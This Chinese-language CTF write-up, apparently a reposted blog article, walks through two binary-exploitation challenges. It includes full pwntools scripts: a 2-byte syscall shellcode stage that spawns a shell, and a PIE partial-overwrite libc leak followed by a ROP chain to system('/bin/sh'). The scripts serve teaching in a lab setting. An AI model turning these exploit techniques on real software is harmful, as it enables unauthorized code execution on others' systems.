1. attachment(2字节shellcode)
mmap分配0x1000的可读可写可执行的buf地址,然后read写入2个字节,执行buf。
gdb里看一眼。
可以看到call rcx,而rcx上就是buf,里面有我们写的AA。
进入buf之后是AAx00x00x00x00x00x00,所以这个题本质上就是2字节的shellcode。AA到底应该填什么呢?IDA上已经提示的很明显了。
显然是call read,但call read没法2个字节,所以答案是系统调用syscall,看下此时的寄存器对不对。
rax = 0x0; read的系统调用号
rdi = 0x0; 第一个参数
rsi = buf; 第二个参数
rdx = 0x500; 第三个参数
很完美,此时已进入buf执行,第二次read重写buf,然后继续执行syscall后面的shellcode。所以第二次read的时候要注意下shellcode填充几个NOP就行。以及用send()不能用seadline()
#!/usr/bin/env python
from pwn import *
context.log_level = 'debug'
context.arch='amd64'
#sh = gdb.debug("./attachment","b mainnc")
sh = process("./attachment")
shellcode = '''
syscall
'''
payload = asm(shellcode)
print(payload)
sh.send(payload)
payload = "x90" * 8 +asm(shellcraft.sh())
sh.send(payload)
sh.interactive()
2. PIE(1-2字节ret)
此题自带libc,用2.35做就行。除了Canary保护全开,极致精简的栈溢出。
read之后跟了个printf,意味着我们有可能泄露某些地址,gdb进去看一眼。
偏移量264,ret的是一个libc,如果我们填充到这里,刚好可以泄露libc。
接下来只需要跳转到main上再来一遍,但ret是个libc地址,由于PIE,text地址随机,我们无法ret main_addr。即使能也没意义,因为libc就在ret上,这使得泄露libc和跳转到main鱼和熊掌不可兼得,只能二选一。那么答案很明显了。
掺在一起做撒尿牛丸啊,笨蛋!
所以这题其实就是让你找libc上能够跳转到main的地址,而且最好离mov edi, eax这行汇编不要太远。因为libc地址只有后3位是固定的,我们只能1个字节1个字节的改写。如果改写0x90,则是稳定触发不用拼概率;如果改写0xcd90,就需要拼1/16的概率;如果改写0xdbcd90,那概率就小的没法看了。
先看两个容易想到的错误答案。
1,one_gadget
虽然理论上改写ret libc到one_gadget上可以直接getshell,但显然我们很难凑出这些one_gadget需要的条件——比如rbp-0x78可写,rbp被我们写成padding了。one_gadget也离mov edi, eax太远了,太拼运气。
2,__libc_start_main
很容易想到,为什么ret libc,是因为main就是用__libc_start_main调用的,那么__libc_start_main肯定在mov edi, eax附近。gdb看一眼。
那么ret __libc_start_main岂不是就跟ret main一样?
显然也是错误的,看看_start上的__libc_start_main吧,要的参数很多,不可能ret __libc_start_main恰好就是那些参数。
那么正确答案是什么呢,就在栈上。这不就有个main吗?
所以我们只需要在mov edi, eax附近找到个call [rsp+0x8]之类的汇编就行。远在天边,近在眼前,就在mov edi, eax的上方。
所以264padding+x89,即可泄露libc并跳回main。
from pwn import *
context.log_level = 'debug'
context.arch='amd64'
#sh = remote('2.2.2.2',1337)
#sh = gdb.debug("./vuln","b mainnc")
sh = process("./vuln")
libc = ELF("/home/sonomon/glibc-all-in-one/libs/2.35-0ubuntu3_amd64/libc.so.6")
libc_start_main_libc = libc.sym['__libc_start_main']#0x29dc0
payload = "A" * 264 + "x89"
sh.send(payload)
libc_d89_addr = u64(sh.recvuntil("x7f")[-6:]+"x00x00")
libc_base = libc_d89_addr - 0x29d89
print(hex(libc_base))
sh.interactive()
随后就是常规system(/bin/sh)了。
from pwn import *
context.log_level = 'debug'
context.arch='amd64'
#sh = remote('2.2.2.2',1337)
#sh = gdb.debug("./vuln","b mainnc")
sh = process("./vuln")
libc = ELF("/home/sonomon/glibc-all-in-one/libs/2.35-0ubuntu3_amd64/libc.so.6")
libc_start_main_libc = libc.sym['__libc_start_main']#0x29dc0
libc_system = libc.sym['system']
libc_binsh = libc.search('/bin/sh').next()
libc_pop_rdi = 0x2a3e5
libc_ret = 0x29cd6
payload = "A" * 264 + "x89"
sh.send(payload)
libc_d89_addr = u64(sh.recvuntil("x7f")[-6:]+"x00x00")
libc_base = libc_d89_addr - 0x29d89
print(hex(libc_base))
payload = "A" * 264 + p64(libc_base+libc_ret) + p64(libc_base+libc_pop_rdi) + p64(libc_base+libc_binsh) + p64(libc_base+libc_system)
sh.send(payload)
sh.interactive()
这就结束了吗?不,让我们再仔细看看ret时的内存布局。
除了栈上有个main之外,r13寄存器上也有个main啊。那么call r13显然也行,libc上有没有这样的汇编呢?
当然有,而且它离0x29d90还不算特别远,只需要拼1/16的概率。感觉call r13应该是非预期解。
from pwn import *
context.log_level = 'debug'
context.arch='amd64'
#sh = remote('2.2.2.2',1337)
#sh = gdb.debug("./vuln","b mainnc")
libc = ELF("/home/sonomon/glibc-all-in-one/libs/2.35-0ubuntu3_amd64/libc.so.6")
libc_start_main_libc = libc.sym['__libc_start_main']#0x29dc0
libc_system = libc.sym['system']
libc_binsh = libc.search('/bin/sh').next()
libc_pop_rdi = 0x2a3e5
libc_ret = 0x29cd6
def start():
try:
sh = process("./vuln")
payload = "A" * 264 + "xd3xf4"
sh.send(payload)
libc_d89_addr = u64(sh.recvuntil("x7f")[-6:]+"x00x00")
libc_base = libc_d89_addr - 0x2f4d3
print(hex(libc_base))
payload = "A" * 264 + p64(libc_base+libc_ret) + p64(libc_base+libc_pop_rdi) + p64(libc_base+libc_binsh) + p64(libc_base+libc_system)
sh.send(payload)
libc_d89_addr = u64(sh.recvuntil("x7f")[-6:]+"x00x00")
sh.sendline('id')
except Exception:
sh.close()
sh = start()
return sh
sh = start()
sh.interactive()
原文始发于微信公众号(珂技知识分享):web选手入门pwn(19) ——2个字节